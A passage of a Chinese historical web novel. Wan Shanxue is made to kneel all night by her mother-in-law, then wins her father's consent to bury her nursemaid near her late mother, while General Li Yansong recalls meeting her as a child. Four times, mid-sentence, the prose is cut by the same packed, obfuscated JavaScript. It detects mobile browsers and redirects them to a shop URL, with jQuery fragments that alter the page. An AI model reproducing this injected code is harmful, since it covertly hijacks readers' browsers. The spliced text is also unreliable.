片刻，她扬了扬手里的纸张说道：“瞧你们，开个玩笑也吓得这样。我听太太几次夸嘴说，你们夫妻做事最为用心，满京城也寻不来几个这样得力的。原先我还不信，故意试探试探。果然这样勤勉，回头定然告诉太太奖赏你们。” 梅东夫妇这才恍然，又说笑一阵，万山雪便起身告辞，暗暗给红璎使了个眼色。 梅东殷勤地提着灯笼，要引着他们往桃子岭去。 红璎驻足迟疑道：“依我说，奶奶别去了吧。” 万山雪故作生气道：“瞧瞧，我的日子愈发好过，个个都来当我的家了。” “不是这个话，奶奶和二爷拌几句嘴，就赌气不回去，到时候让咱们太太知道了，又添出多少闲气来，连带二姑娘也有了不是。” 万山雪执拗道：“我偏不回去，就在桃子岭住个十天半月的，看他们能把我怎么样。” 梅东家的一听此话，直向万山雪脸上看，犹豫着笑道：“我说姑奶奶怎么这么晚跑了来，原来是为拌嘴。年轻轻的夫妻，拌嘴是常有的事儿，世人都是这么过来的，可不能太较真儿。若不是姑娘说了出来，我们定不放心让姑奶奶这么晚回去，可崔二爷和亲家老太太这会子不定急成什么样子，姑奶奶还是改日再来吧。” 半真半假，万山雪装作不情不愿被他们哄着劝着上了车，三人往回赶去。 快到京城时，红璎叮嘱牧笛说道：“今日来梅溪村的事情，不许你跟二爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756653|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提一个字。” 牧笛连声答应着。 回到崔府，已近三更。 万山雪顾不得歇息，先去看了橘霜，得知她无大碍，这才放下心来，回房洗漱一番正要躺下，却听见珊瑚来了。 只听她隔着窗子说道：“奶奶睡下了么？太太听橘霜说了今日之事，心惊肉跳，现下还没合眼，请奶奶过去回个话吧。” 万山雪嘱咐红璎睡下，只身跟着珊瑚往前面来。 珊瑚悄声嘱咐道：“太太在气头上，奶奶无论多委屈都权且忍一忍，若是闹开了，吃亏的还是奶奶。” 这一路上她已经来来回回盘算过了，以她今时今日的处境能力，无论对崔家还是万家，硬碰硬都是不行的。 她想到黎偃松的嘱咐，又想到处变不惊的江心澜，心里慢慢定了下来。 连她自己也觉得奇怪，萍水相逢之人，竟有这样的魔力。 月至中天，尤氏还没有睡下，披衣坐在中庭，乌思羽陪在她的身边。 见万山雪前来，她一拍桌子：“跪下！” 万山雪忍气吞声，跪在坚硬的青石板上：“母亲息怒。” “息怒？我倒要请教请教，我如何能息怒！早起去时，我分明叮嘱过你，时时处处陪着明之。你呢，抛开丈夫不管，私下跑到青檀山去，闯出这么大的祸事来，到头来为外男所救。你置我崔家的脸面何在？” 尤氏大发雷霆，乌思羽在一旁柔声劝解：“姨母别生气，且容嫂嫂慢慢解释。” 万山雪细细地将白日发生之事，拣要紧的禀告给尤氏。 若是往常，她定然不愿意当着乌思羽说出崔明之冷待她的事情，可是现下说得十分坦然：“明之气我一路上跟得紧，将马车赶得飞快，险些将我们甩出车子去。他要守着萧公子，话里话外赶着我走，母亲细想，当着众人的面，我再待下去也是没脸……” “你还狡辩！那你便直奔家里而来，我难道会赶你出去么？半道上去青檀山，害死乳母伤了婢女，到头来还欠下一个天大的人情。这笔账别人只会记在我崔家头上。莽莽撞撞，害人害己，这就是我崔家的当家主母干出来的好事儿！” 雷霆暴雨一般，足足数落了两刻钟才歇住，万山雪这一日受气受惊，又经历伤心，满怀悲凉，膝盖所受的这点子疼痛和婆母的责骂根本算不得什么。 她默默地跪着，脊背挺得直直的，任由婆母发泄。 许久之后，她才慢慢说道：“太太教训的很是。若是能够预见后事，今日说什么我也不会去青檀山的。都是我害死了阿母。” 尤氏泄了怒气，凉凉地说道：“你知道就好。在院里跪一夜，接下来一个月不许出家门半步。” 万山雪急切膝行几步哀求道：“母亲生气，怎样罚我都好，可是乳母是为了救我而亡，她的丧事我没法子袖手不管……” “胡说！如今你是崔家媳，不是万家女。安葬乳母一事，说什么也轮不到你出嫁的姑娘做主。若是真心知错，就跪在这里好好忏悔吧！”尤氏拂袖而去。 11. 遥想当年初见 马蹄嘚嘚踏破夜间寂静，带起一阵风摇晃着屋檐下的铜铃。 黎偃松翻身下马，仰头看去，宫灯散着暖黄色的光，将“大将军府”几个遒劲有力的大字添上一层柔和。 江心澜偏头看了看他：“近乡情更怯？” 他微微颔首，无数次深夜梦回的家，近在眼前时，却有些愣怔。 门环铜兽含着清露，他屈指欲叩，角门却忽地开了，伴随着一声清亮的“三叔”，一个穿着襦裙的小女孩提着灯笼，蹦蹦跳跳跑了出来。 这是黎偃成的女儿庭安，上次他离家时，她才两岁多，一年多不见，竟然跟他毫不生分。 他心头一热蹲下身来，朝着庭安张开双臂，庭安却摇摇晃晃向身后的江心澜扑过去：“姐姐！” “……你这都排的什么辈分？叫姑姑。”黎偃松好笑道。 江心澜哈哈大笑，将庭安举起来转了个圈儿：“小家伙定然是看我年轻呗！” 黎偃成静静地站着，笑笑地望着他们，黎偃松扑上去跟他抱了满怀。 自从成亲有孩子之后，大哥的精气神好多了，府里也一日日有了生机，他心头十分欣慰。也许家才是慰藉失意之人最好的良药。 长辈们是不能出来迎接的，环顾四周不见黎偃钟，还没有询问，庭安就机灵笑道：“二叔练了一手好厨艺，这会子在厨房忙碌，要给三叔和江姑姑接风呢。” 父亲在家信中说过，黎偃钟如今痴迷于下厨，京城里的人都长着双富贵眼，听见的没有不讶异嘲笑的。不过黎家人都很支持。 他暗自叹道，也许只有历经生死大事，看破人生之人，才能有这样的觉悟。 黎偃成接过女儿，对江心澜做了个请进的手势，一行人进了屋。 久别重逢最是人间欢喜之事，在黎家尤为如此。每次他平安归来，黎家都好似枯树逢春，从内而外焕发光彩。 随着他离开，再度陷入沉寂。如此循环，好在如今有了庭安，随着她平安长大，府里的空气明显活泼多了。又有江心澜跟着，欢声笑语自然胜过愁绪。 黎偃松见过众人，换了衣服，去祠堂里敬告祖宗先人平安归来，就回到祖母处用膳。 晚膳摆在庭院里，青石案上错落摆开十二道彩釉瓷盘。 正中是荷叶糯米鸡，旁边的青花缠枝盘里盛放着樱桃肉，糖色熬得透亮，红玛瑙似的诱人垂涎。又有素燕窝、松仁玉米、翡翠白玉羹、水晶肴肉…… 黎偃松惊喜不已，向二伯娘笑道：“二哥如今的厨艺，只怕御膳房的厨子都要落了下风，一桌子山珍海味了，二哥人呢？” 话音刚落，便有人从背后结结实实将他抱住了：“嘿，你们听听三弟这嘴灵不灵，前儿康公公才在皇上面前开玩笑，要我去御膳房，今儿他就说出来了。” 祖母笑嗔道：“你瞧人家江姑娘在这儿，也这么没大没小的，还不过来见过心澜妹妹！” 一大桌子人说说笑笑，好不热闹，直谈至夜深方散。 黎偃松毫无睡意，推着父亲黎玄在园子里漫步，黎玄方才的笑意收敛了许多，轻声问道：“很辛苦吧？” “父亲问这话，是不是后悔当年放我出来？”他笑问道。 “后悔啊，后悔得肠子都青了。我有时候看着小庭安，就想着你要是不去北疆，我和你母亲也就能够含饴弄孙，她也不会因为我当年偷偷放你走，三天两头翻旧账跟我吵架了。” 黎偃松轻轻笑了：“好，那我明日就去找皇上。请求解甲归田，立马娶妻生子。” 黎玄笑道：“赶紧的，臭小子，老拿话来堵我。还去祠堂里坐坐吧。” 他知道，父亲这是要与他谈朝堂之事了。 因着黎玄的腿，樊老太太特地命人在各屋子面前都修了坡道，方便轮椅通行。 黎偃松在轮椅前蹲了下来：“来，我背您上去。” 黎玄愣了一下，方才还说笑的嗓音忽地有些哽咽：“做什么臭小子？” 黎偃松不动，只是坚持着。 他背着黎玄一步一步踏上长长的台阶，眼泪无声地淌了下来，一粒一粒滚落在石阶上。 即便是父亲双腿残废，这些年在他心里，一直都是威武高大的形象，却没想到，他的分量竟然这样轻。宽大的裤管下，双腿如枯柴一般瘦弱。 黎偃松给各位先人都斟了酒，又捧了一杯给父亲，自己盘腿坐在旁边。 黎玄紧盯着儿子的神色：“今天那帮人有问题？” “嗯，第一伙人审出来了，说是昭勇侯吴阻手下的人。昭勇侯因气愤妻弟私下接走侯夫人，欲要劫走药材，给萧家一个下马威。” “这个吴阻，还真是胆大妄为，他就没想过，萧家奉的是皇上之命，他劫持萧家，就等于违抗皇命。” 黎偃松眼里的笑意消失殆尽：“这正是儿子怀疑的地方。吴阻这些年闹来闹去，也只是责怪吴达当初没有在皇上面前多表一表他祖父吴迎的功劳，多争取些功名。他并没有胆子去违抗皇命，也没有那个力量。跟妻弟置气，抢回其姐也就够了。何必再得罪皇上呢？” “难道说，他跟金弘联手了，故而不把皇上放在眼里？” 黎偃松摇摇头道：“起初儿子也是这么想的，或者说，背后主使人愿意让咱们这样想。第一伙人目的还是直奔药材而去，第二伙人却是下了死手的，尤其是对我，招招都急于要我的命，才让我寻出破绽来还击。若是寻常匪徒，根本不必如此拚命。我想，一来是因为我半路上杀出来，坏了他们的计划，二来，是因为我是黎偃松，是世世代代效忠于皇室的黎家人。” 黎玄慢慢坐直了身子：“所以金弘急着将匪徒抢走，是怕你逼问出真相来。若你猜测为真，他与吴险联手，一则诬陷吴阻，给他安上大逆不道的罪名，置于死地。二则有了把柄在手，可以拿捏吴险，予取予求。那么进一步的目标……” “正是如此，秀州富饶，山高皇帝远，他要想着手做点儿什么准备，也很难被人发觉。” 黎玄重重地叹了口气：“他当年是多好的人，一心一意扶持幼主，如今……” “这就是当初爹教给我的道理，对权力保持敬畏之心。这东西一旦沾染就会上瘾，终生难以戒掉。”黎偃松说着看向黎玄，“爹爹，我此次回来，不止是给祖母贺寿，若是我……” 黎玄静静地看着儿子：“儿子，向前走，顺着你的心走。” 黎偃松点点头，将眼泪咽回去，向父亲举起酒杯。 “一年一杯酒，你这将近两年没回来，得陪我喝两杯。” “要不咱们爷俩不醉不归？” “想得美，到时候挨骂的还是你老子。”黎玄忽然问道，“是了，听小景说，你今天救的是万家长女？” 黎偃松垂下眼睫，淡淡道：“是的，可惜没能救下她的乳母。” “你尽力了，问心无愧就好。她爹是金弘府上做事的，夫家是十二皇商之一的崔家，听说跟金弘府里的管家有点亲戚关系。只怕面对这份救命之恩，他们还真有点棘手，不知道如何来还。”黎玄话锋一转，“你还记得么，我受伤回京那一年，咱们就见过这个姑娘。” 黎偃松心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756654|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动，面上若无其事：“是么，不记得了。” “当时我受伤回京，听大夫说再无站起来的希望，正值盛年，很难接受这个现实，整日暴躁易怒，连带你们也小心翼翼，吓得大气儿都不敢出。寒食节前你陪我进宫谢恩，回来时有个兔子跑到了我的脚边。” 黎偃松记得很清楚，他推着父亲从宫里出来，正要登车时，一只雪白的小兔子跑到了父亲脚下，乖顺地卧着，一动不动。 有一个跟他差不多大的姑娘紧紧追过来，她穿着鹅黄色的襦裙，头上双髻绑着草绿色的丝带，在春风卷起的梨花瓣里冲着他们喊道：“伯伯小心，您脚下有个兔子！” 她一面道歉，一面抱起小兔子训斥道：“你这个淘气包呀！” 而后抬起笑脸，一双杏眼弯成了月牙儿，对着黎玄上下打量了一番脆生生地说道：“您一定是威震天下的黎大将军对不对？我夫子说，您是保家卫国的大英雄，是天底下顶顶厉害的大好人，我家小兔子素日很怕生的，却一点儿都不怕您。” 其实当时天气并不算好，可是多年以后，只要回想起来，他总觉得她带着通身细碎的阳光而来，手腕间的银铃叮叮当当，像是从天宫偷偷溜出来玩耍的小仙子。 他一直以为，像她这样的人，就该永远这么快快乐乐地活着，无忧无虑。 没想到再见面时，他居然眼睁睁看着，娶了她一生的那人，竟那样残忍而冷漠地对待她。 “陈年旧事，怎么让黎大将军惦记这么多年？”黎偃松喝下一口清酒，咽下心头的不适，淡淡问道。 “就是她的出现，我才忽然反省，你们一般大的年龄，你也应该这样天真活泼才对。而我当时沉浸在残疾的伤痛里，自顾自地暴躁，吓得一家子都没有笑脸，尤其是你，不知落下多大的阴影。” 黎玄的语气充满了自责：“她抱着兔子跑去放纸鸢了，你还是愣愣地盯着她看。我就故意说，不想回家，想沿着城河一带走一走。你面上平静得很，可是眼里的欢喜藏都藏不住。” 从那之后，许是为了孩子，黎玄渐渐从低沉里走了出来。 他不知道的是，那个对他影响重大的插曲，也同样在黎偃松的心底留了很多很多年。 他后来特地打听过她，得知她是万家长女，母亲因病早逝，所幸继母待她和弟弟极好。 再后来，他离开京城，每次回来，还是会刻意关注一下她的事情。 他年少时极想逃离自己的家庭。背着前人用生命换来的荣宠，这个家族的每个人都活得很沉重。他们没法像别人那样畅快地哭，肆意的笑，无论做什么，都覆着厚厚的阴翳。 他甚至曾经想过，他这一生就算是能够功成身退，也决不会娶亲生子，他不想拉着无辜的人活在这样的氛围里。 可是如今想想，他的家庭又有什么不好？ 他们只不过将别家大几十年所要遭遇的悲痛，提前遇到了，可也正因此，他们更知道珍惜二字的意义，也更会善待彼此。 若是万山雪生活在他们的家庭，决不会被那样冷待。 他摇摇头，嘲笑自己胡思乱想，将杯子里的残酒一饮而尽。 黎玄说道：“是了，到时候你替我去一下她乳母的葬礼，一来敬重嬷嬷有情有义，再者也算是谢谢万姑娘当年无意中开解我。” 黎偃松知道，父亲也很为没能救下万山雪的乳母而遗憾，他点点头答应下来。 父子又说了许多朝堂与北疆之势，直聊到启明星闪烁，才回房歇息。 而此时，万山雪还跪在婆母门前的台阶上。 12. 带个心眼回娘家 寅时露水最重，砖缝里的草叶被压弯了腰，衣服吸饱了水汽，湿溻溻地贴在身上。水珠顺着发丝往下淌，落入脖颈里又凉又痒，万山雪想要伸手去挠，才发现胳膊已经僵硬得抬不起来。 她索性就着扭脖子的姿势蹭了蹭，继续苦苦思索，究竟要怎样才能使爹爹同意给春草办丧事。 “卖新荷——带露水的并蒂莲嘞——” 卖花老翁的吆喝声带着朝露传过来，惊起了檐角打盹儿的鸽子。 万山雪忽地觉得这一嗓子仿佛将她从重重迷雾里拉了出来，为何总想着求万家给乳母办丧事？ 乳母所求的，不过是离兰蘅的坟墓近一些。 万有善并不是个好说话的人，可是这些年，他几乎对继母兰芬的所有要求爽快答应。再恩爱的夫妻，经过琐碎磨砺，也不会如最初那样事事依随，必然跟兰芬的说话方式有很大的关系。 她仔仔细细回想了一遍记得住的场面，反复琢磨，心里渐渐明朗。 一时又想到春草身上去，不觉又怔怔坠下泪来。 这一生阿母实在不遂，幼时因为家贫被父母卖掉，几经辗转才到了兰蘅身旁，过了几年好日子，哪知道识人不明，跟着陈粮吃了不少苦，回到万府不足两年，兰蘅就撒手西去。轮到自己…… 喉头酸痛难忍，她死死地咬住下唇，却抑制不住胸口剧烈地起伏，被强行压下去的哭声在胸腔里左冲右撞，似乎要撞断肋骨奔涌而出。 她再也忍不住，整个佝偻在地上，将脸贴着凉透了的地砖，哀哀而无声地哭了起来。 直到晨曦初露，她终于乏得透透的，支撑不住向地上歪栽过去，迷迷糊糊打了个盹儿。 不知睡了多久，忽然模模糊糊听到婆母的声音：“糊涂东西，不看看家里成什么样子了，还只管往萧家跑！” 是崔明之回来了。 他在尤氏跟前一向好性儿：“萧慎今日要挪到萧家在城外的别院休养了，无需我再帮忙。我是去看看铺子，午饭前必然回来。不知母亲因何事动怒？” “自家出了这么大的事儿，你究竟是不知，还是不在意？万氏回京半道上去青檀山，结果遇到歹人，死了乳母伤了婢女，还欠了黎将军天大的恩情。你这做丈夫的，还能无动于衷么？” “哦，原来是这事儿，我听说了。” 崔明之毫不在意地说道，“母亲何必大动干戈？那是她的乳母，并没有跟进咱们崔家，又是为了救她而死，丧事自然是她自己回娘家商量。商量妥当时，咱们派几个下人去帮忙，到时候我再露个面，走个过场不落人话柄就是了。至于去将军府道谢一事，至少也要等她乳母头七过了再去，方才显得恭敬。” “可是……”尤氏的声音低下去。 “棋局未终，焉知胜负？与其仓促站队，不如静等风来。” “照你这么说，你这笨媳妇还算有点用？” 屋里半天没了声音，万山雪怕他出来，佯装熟睡，伏在地上一动不动。 有脚步声进了院子，来人讶然喊道：“呀，嫂嫂怎么还在这儿？快快，你们快给二奶奶搀起来。” 这时候尤氏的屋门吱呀一声开了，万山雪微微眯着眼睫，瞧见崔明之从她身边大步走过去，连一丝停留都没有。 只听他对乌思羽笑道：“表妹怎么起得这样早？” “我这不是担心姨母嘛，赶早来看看。没想到嫂嫂这个实心眼，竟然真的把姨母的气话当了真，瞧这着了凉可怎么好？二哥哥，你快来搭把手，将嫂嫂扶起来。” 崔明之“嘁”了一声，制止了两个丫鬟：“先不管她。” 乌思羽放低了声音婉言劝道：“不是我做妹妹的多管闲事，婚前婚后，真正是此一时彼一时。二哥哥当初娶嫂子时，阖府是多么欢天喜地，虽说日子久了难免平淡，也不能这样冷漠，太伤人心了。” “若不是她与继母联手下套，我绝对不会娶这样的货色。得了，不提这茬子了，晦气得很。”崔明之说道，“我才刚听母亲说，三姨母和表哥不日就到京城，不若你跟我一道去街上逛逛，瞧着缺什么少什么，提前添置了，免得姨母来了不齐全，处处麻烦。” 尤氏恰好走出来，听见了说道：“又劳动你妹妹做什么？我已经吩咐了玲珑去乌家房子里收拾，思羽昨儿跟着我担惊受怕一日，今儿天气阴凉，你带她去铺子里转转，到处玩玩，也是你做哥哥的人。” 崔明之答应着便带了乌思羽一道出去。 万山雪这才慢慢直起身子来，珊瑚连忙下来相搀，轻声道：“二奶奶醒了？” 尤氏嗤笑道：“害死了乳母，还有心思睡觉，真不知这人到底有没有心肝。起来吧，去送你乳母一程。待头七过了，再罚你禁足。” 这已经比预想的局面要好。 万山雪谢过婆母，艰难地起身，膝盖骨缝里似乎插了无数钢针，每一次挪动都痛入骨髓。 她咬着牙，一步一步挪回了院子。橘霜与红璎急得团团转，见她一瘸一拐地进来，都哭了。 “你起来做什么？回去躺着好好养伤。”万山雪推了橘霜一把。 “我怎么躺得下？春草嬷嬷出这样的事，奶奶你又……” “红璎，去唤两个丫头帮我打水，沐浴完我要回万家商量阿母的安葬事宜。橘霜安心躺着，等一切定了，去送阿母一程，就是你的一番心意了。这会子起来除了干着急，也帮不上忙。”万山雪不由分说将橘霜赶去休息。 待到了万府门前，那门人见是万山雪，便赔着笑说：“大姑娘回来了，怎么事先一声儿也不知道？姑奶奶稍等，我这就去回禀夫人。” 红璎蛾眉倒竖，发狠道：“这天下竟有女子回娘家让站在外面等的道理，你把门给我打开！” 门房说道：“哎哟好姑娘，您别为难我，上次为着二爷的一个同窗来，我擅自放了进去，还挨了好一顿呲哒呢！” 红璎气噎，恨不得一把火烧了这大门，却只能干瞪眼，万山雪轻轻拍了拍她的手。 正在这时，忽然听到背后有人喊道：“长姐，你怎么回来了？” 回头一看，正是弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756655|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟万山毓从外面回来，手里提着一个颇为精致的金丝笼子，里面有一只墨玉似的蛐蛐儿。 一腔子无名火忽地窜起，还不等她发作，东边的角门开了，万山锦从里面缓步出来，一身青色长袍，举手投足优容雅致，含笑望着她，嗓音温润：“长姐回来了。” 万山雪平生第一次代入父亲的视角来看这两个弟弟。 于她而言，自然是一母同胞的万山毓更加亲近，可是对父亲而言，他们都是他的儿子，毫无疑问，稳重上进的万山锦更惹人疼。 万山毓凑近她，又狐疑地看了看红璎，忽然跳起老高：“姐姐的眼睛怎么肿得这样？是不是姐夫欺负你了，我去找他算账！” 说着杀气腾腾转身就要走。 万山雪连忙一把扯住他，嗔怪道：“瞧这火急火燎的性子，也不问个青红皂白，就持刀动杖地闹起来。” 她很是自责，母亲去世时，她年龄尚小，不知道心疼弟弟。后来又有继母管着家，弟弟生活起居一应都是继母照料，她更没操心过半分。 如今细细想来，他虽然顽劣不求上进，可是比她这个做姐姐的还要强几分，起码知道维护骨肉，可见没有坏心眼。 对于没娘的孩子，能够如此，已经很不容易了。原本恼火的心便温柔了几分。 她掸了掸他身上的碎草，温和道：“瞧你这身上闹的，快回去收拾一番，待会儿我有事跟你商量。” 万山毓迟疑着又问道：“姐姐当真没受欺负？” “没有，有你俩这样好的弟弟，谁敢欺负我？” 万山毓这才放下心来，兴兴头头地进了东角门。 万山锦这才走近两步说道：“母亲这会子在房里，父亲在书房，姐姐是先去……” 一语未了，万山雪笑道：“自然是先去看看娘。娘家娘家，哪个女儿回来不是惦记跟娘絮叨絮叨心里话的？” 她原以为，得知真相之后，再装得像从前那样毫无芥蒂是很难的。可是比起要达成的目的，千难万险都不是事儿，装出一副笑脸又算得了什么？ 她亲昵与万山锦并肩而走，很自然地说道：“我听说你这些日子用功得很，陪我走这一程子已经费了不少功夫，快去书房读书吧。天气暑热，路上看见有卖新鲜莲蓬的，我嘱咐红璎买了来给你熬汤喝。” 兰芬正接过丫鬟手里的花壶浇水，听见声音连忙搁下来招手：“雪儿回来了，快来快来。” 万山雪亲亲热热挽着她的手臂说道：“我没遵照您的吩咐，直接进门了，不会怪我吧？” 兰芬笑嗔道：“自家娘们儿，说的什么话？还不是锦儿那个怪脾气，稍有打扰就嚷嚷着烦躁，害得府里上上下下连口大气儿也不敢出。门房被他唬住了，竟连你也慢待起来，回头我给你撑腰。” 万山雪将头挨在她的肩膀上，眼泪就流了下来，哽咽道：“可不是得给我撑腰？昨儿险些丢了性命去，再也见不到您了。” 兰芬唬了一跳，连忙坐起身来：“你这孩子，青天白日的胡说什么，看我撕你的嘴。” 13. 所求如愿 万山雪依偎在兰芬身边，将来龙去脉说了一遍。 她垂泪道：“太太细想，我与阿母虽然不睦，可她辗转到了外祖家，陪嫁给我母亲，给我做乳母，又为我丢掉性命，恩情深重，结草衔环亦难报万一，不管她的身后事是不能。可谁人不知，我是最最百无一用的人，太太若是不教导我，我还能求助谁呢？” 兰芬微微蹙眉道：“我的儿，你能这样想就很好。足见我的大姑娘是个知恩图报的好心肠。只是不怕你恼，兰草虽然担着个‘须以母待之’的名声，可到底跟你母亲有主仆之别，如何能够埋进万家坟地？” 万山雪见她语气松动，便趁热打铁道：“我听说我娘去时，爹爹因伤心过度，坚持让墓匠们留了个窗子，说是百年之后同穴而眠，隔窗相望，亦可再续前缘。” 万山雪打小就直呼兰芬为母亲，一时没法改口，便只得含糊而过。 她有意顿了顿，见兰芬脸上虽然镇静地听着，眼里却闪过一丝阴翳，又继续说道：“我想着，这再续前缘之事，未必非要是夫妻，主仆又何尝不可？就在过仙桥的方向买一块墓地安葬乳母也很好。九泉之下，她们两人也能有个伴儿。” 兰芬不自在地笑了笑：“你这孩子混说，那过仙桥除了原配夫妻同穴共有，谁有这资格？” “怎地没有？就譬如……倒不是我空口白舌咒你们，只是话赶话说些将来之事。你与我爹爹这些年恩爱和睦，连红脸都是少有的事。总没有道理将来把你孤零零丢在一旁。别说锦儿绣儿，就是我和毓儿，良心上也下不去。这些年为爹爹、为我们兄弟姐妹、为万家呕心沥血的人是你……” 兰芬拿帕子搵了搵眼角，长叹一声说道：“你这孩子，越发没有规矩，不许浑说了。这么着，你与我一道去见你爹爹，这个事儿终究要经过他点头，我才能放手去办。” 万山雪随着兰芬走出来，瞥了一眼兰芬曾经住的院子，暗暗祈祷道：若是母亲和阿母听到我的话，请一定原谅我一时的不得已。 她看着兰芬明显轻快的步伐，暗自冷笑，一两年之后的事尚且没人说得准，更何况几十年后。 只要她万山雪活着，母亲的原配位置，就决不能动摇。 也许母亲并不在乎，可是作为女儿，她没有权力替母亲放弃。 半道上遇见万山毓来寻，万山雪招招手唤到身边来。她知道万山毓对春草的依赖其实远胜于她，忖度着不知如何开口与他说及此事。 犹豫不定时，已经到了书房。 万有善向来不待见这一对儿女，一见面便蹙眉道：“你们两个，一个不在家里好好侍奉夫君，孝顺婆婆，一个整日走鸡斗狗，游手好闲，这会子跑我这儿来做什么？” 兰芬连忙过去为他捶背，一面说道：“你瞧，见了自己孩子，也是这样的没有个亲和气儿，到头来再跟我抱怨孩子们都怕你。” 万有善气鼓鼓道：“那绣儿和锦儿怎地不怕我？自己行得正坐得端，自然底气十足，还怕人说么？” 万山雪连忙跪下来说道：“爹爹消消气，女儿这次回来是有要事相商。” 兰芬连忙接过话茬儿，三言两语将万山雪的遭遇说了，又说道：“要我说，孩子能有这份心，真真是极好的。” 万山雪没想到她会三言两语全盘托出，她更是担忧万山毓毫无心理准备，乍然得知此事接受不了，正忐忑不安时，瞥见万有善脸色不善，连忙说道：“我知道这事儿对爹爹来说，是很难办的。” 万有善从来不曾见过大女儿这一面，怒色稍稍收敛：“哦，你倒是说说，我夹在中间，有何难为？” “爹爹如今深受金相国重用，说句左膀右臂也不为过。家里若是要大张旗鼓地办丧事，别人势必是要来送礼的。阿母于我而言，一有哺乳之情，二有先母托孤之重，三有以命换命之恩。恩重如山，可是在外人眼里，她到底只是一个下人。知道的说咱们万家人有情有义，知道感恩。不知道的，只怕要借此大做文章，有碍爹爹为官清名。” 万山雪抬头看着父亲，又道：“若是爹爹不答应，又怕驳了女儿的面子，伤了父女之情，所以我说爹爹为难。” 她幼年丧母，祖母怜爱，继母纵容，所以养成了任性娇纵的性子，后来又因婚前私相授受，万有善彻底生出了厌弃之心。 这会子见女儿说得熨帖，提到先夫人托孤，不觉又念及女儿自小失母之悲，语气便柔和下来：“难为你想得这么周到，既知我为难，你又巴巴跑来商量什么？” 万山雪坠下泪来：“爹爹，阿母唯有一个心愿，便是离我母亲的坟墓葬得近一些。故而女儿只有这一个请求，至于丧事所有，皆有女儿承办，不敢让父亲和太太出面操心。” 万有善沉吟片刻说道：“当初她执意要出家，就不再是红尘中人，断断没有万家人去给她安葬送终的道理。不过一来于你有大恩，二来你母亲临终留有遗言，我也答应过她，你和毓儿须以母敬春草。这样吧，就在万家墓庐附近买一块地安葬，你和毓儿守全礼便是，也是一个美名。” 说着又转向兰芬道：“买地之事，我叫管家去办。你去另取五十两银子来给雪儿，让她着手去安排丧事，有什么不周到的你多教教她，不要错了礼仪，惹人笑话。” 万山雪感激之色溢于言表，叩头不止：“女儿多谢父亲和太太成全。” 她余光瞥见兰芬的神色有些讶异，而万有善难得的露出了些许慈和的神色，又加了一把火说道：“女儿从前年纪小，不懂事，闯了许多祸事，连累父母蒙羞，如今思之实在悔之无及。往后女儿一定好好做人，让二老省心。” 兰芬一听此话，连忙走下来扶起她，搂在怀里好一通爱抚，含泪冲着万有善说道：“老爷瞧，孩子不懂事时盼着他们懂事，真个贴心贴肺了，又觉得心疼得慌，有咱们在，情愿他们能任性一辈子。” 万山雪紧紧抱着她，上演了一幕母女情深的戏码。 万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756656|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有善在一旁感慨道：“你能有这样的觉悟就好，往后也好好劝导毓儿。” 其实她从前也模糊知道，父亲就吃这一套，却死活不愿意让他如意。结果遭厌弃的是自己姐弟俩，家里大权和财产都流向了继母和那一双儿女手里，弟弟也荒废了读书的时光，再难弥补了。 “女子的清醒，总是伴随着很深的痛，可是只要醒过来，就不晚。” 阿母的话尚在耳边回荡。 她轻轻拍了拍一旁始终将头埋得很低很低的万山毓，轻声说道：“待诸事就绪，我回来接你，咱们姐俩送阿母一程。” 遂向众人告别。 离开万家，车子直向城外奔去，红璎低低说道：“我娘若是知道，姑娘为了她这样低三下四去求人，只怕肠子都要悔青了。” 万山雪拍了拍她的肩膀：“可是我很高兴。” “我很高兴，能依靠自己的力量去做成一件事。”万山雪继续说下去，“从前我只会恣意妄为，横冲直撞，只觉得我所要所想，别人通通顺着我才是最好的。没想到，人家就抓着我这一点，给我挖了个大坑。而我，浑然不觉。若不是在崔家日子难熬，我大概还是不会清醒。” 她紧紧揽住红璎的肩膀，发誓般地说道：“你放心，从今往后，我一定让你和橘霜畅畅快快地活着，再不受半分委屈。” 